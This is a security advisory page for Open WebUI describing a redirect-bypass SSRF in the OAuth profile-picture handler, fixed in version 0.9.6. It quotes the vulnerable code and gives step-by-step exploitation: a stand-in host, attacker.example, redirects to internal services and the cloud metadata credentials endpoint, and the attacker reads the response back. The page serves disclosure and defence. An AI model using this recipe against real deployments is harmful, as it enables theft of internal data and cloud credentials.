Skip to content
Open WebUIGHSA-226f-f24g-524w

Open WebUI: Redirect-Bypass SSRF in OAuth `_process_picture_url` (incomplete-fix sibling of CVE-2026-45401)

High8.5CVE-2026-54008 · Published Jun 17, 2026 · updated Jul 13, 2026

## Summary `backend/open_webui/utils/oauth.py::_process_picture_url` (v0.9.5, lines 1435-1470) calls `validate_url(picture_url)` on the initial URL only, then invokes `aiohttp.ClientSession.get(picture_url, ...)` without `allow_redirects=False`. aiohttp's default is `allow_redirects=True, max_redirects=10`; the function does not pass the project's `AIOHTTP_CLIENT_ALLOW_REDIRECTS` env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own `profile_image_url` field. This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — `SafeWebBaseLoader._scrape`, `_fetch`, `get_content_from_url`, `load_url_image`, `get_image_base64_from_url` — none in `utils/oauth.py`. ## Vulnerable code (v0.9.5) `backend/open_webui/utils/oauth.py`, lines 1435-1470: ```python async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: if not picture_url: return '/user.png' try: ...

GitHub advisory

Affected versions

PackageAffectedFixed in
open-webui
PyPI
< 0.9.60.9.6
Details and references

## Summary `backend/open_webui/utils/oauth.py::_process_picture_url` (v0.9.5, lines 1435-1470) calls `validate_url(picture_url)` on the initial URL only, then invokes `aiohttp.ClientSession.get(picture_url, ...)` without `allow_redirects=False`. aiohttp's default is `allow_redirects=True, max_redirects=10`; the function does not pass the project's `AIOHTTP_CLIENT_ALLOW_REDIRECTS` env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own `profile_image_url` field. This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — `SafeWebBaseLoader._scrape`, `_fetch`, `get_content_from_url`, `load_url_image`, `get_image_base64_from_url` — none in `utils/oauth.py`. ## Vulnerable code (v0.9.5) `backend/open_webui/utils/oauth.py`, lines 1435-1470: ```python async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: if not picture_url: return '/user.png' try: validate_url(picture_url) # initial URL only get_kwargs = {} if access_token: get_kwargs['headers'] = {'Authorization': f'Bearer {access_token}'} async with aiohttp.ClientSession(trust_env=True) as session: async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp: # ^^^^^^^^^^^ no allow_redirects=False if resp.ok: picture = await resp.read() base64_encoded_picture = base64.b64encode(picture).decode('utf-8') guessed_mime_type = mimetypes.guess_type(picture_url)[0] if guessed_mime_type is None: guessed_mime_type = 'image/jpeg' return f'data:{guessed_mime_type};base64,{base64_encoded_picture}' ... ``` The function is invoked at `oauth.py:1556` (new-user OAuth signup) and `oauth.py:1536` (existing-user picture update on login). Neither call site re-validates after redirect-following. `backend/open_webui/retrieval/web/utils.py` (v0.9.5) imports the env constant `AIOHTTP_CLIENT_ALLOW_REDIRECTS` at line 51 and uses it on the five paths patched by CVE-2026-45401. `utils/oauth.py` does not import or reference it. ## Exploitation **Preconditions:** - `ENABLE_OAUTH_SIGNUP=true` or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (common in production OAuth-IdP deployments) - Attacker has a valid identity on the configured OAuth IdP (Google, Microsoft, GitHub, or any generic OIDC provider) **Steps:** 1. Attacker hosts a redirect endpoint at `http://attacker.example/r` on a public IP. `validate_url("http://attacker.example/r")` returns True (`is_global=True` for public IPs). 2. Attacker sets their IdP `picture` claim to `http://attacker.example/r`. 3. Attacker signs in to open-webui via OAuth. open-webui invokes `_process_picture_url("http://attacker.example/r", ...)`. 4. `validate_url` accepts the public URL. `session.get("http://attacker.example/r")` is invoked. 5. attacker.example responds `HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags`. (Or `http://169.254.169.254/latest/meta-data/iam/security-credentials/`, RFC1918 internal services, etc.) 6. aiohttp follows the redirect server-side. **No re-validation.** 7. The internal response body is read into `picture`, base64-encoded, and stored as `profile_image_url = "data:image/jpeg;base64,..."` on the attacker's account. 8. Attacker reads back via `GET /api/v1/auths/`. Decode the base64 payload to get the full internal response body. ## Impact Full-read SSRF, identical read-back primitive to CVE-2026-45338: - Cloud metadata services (AWS IMDSv1 at `169.254.169.254`

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-918
Also known as
CVE-2026-54008, PYSEC-2026-2690

More Open WebUI advisories

All Open WebUI

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.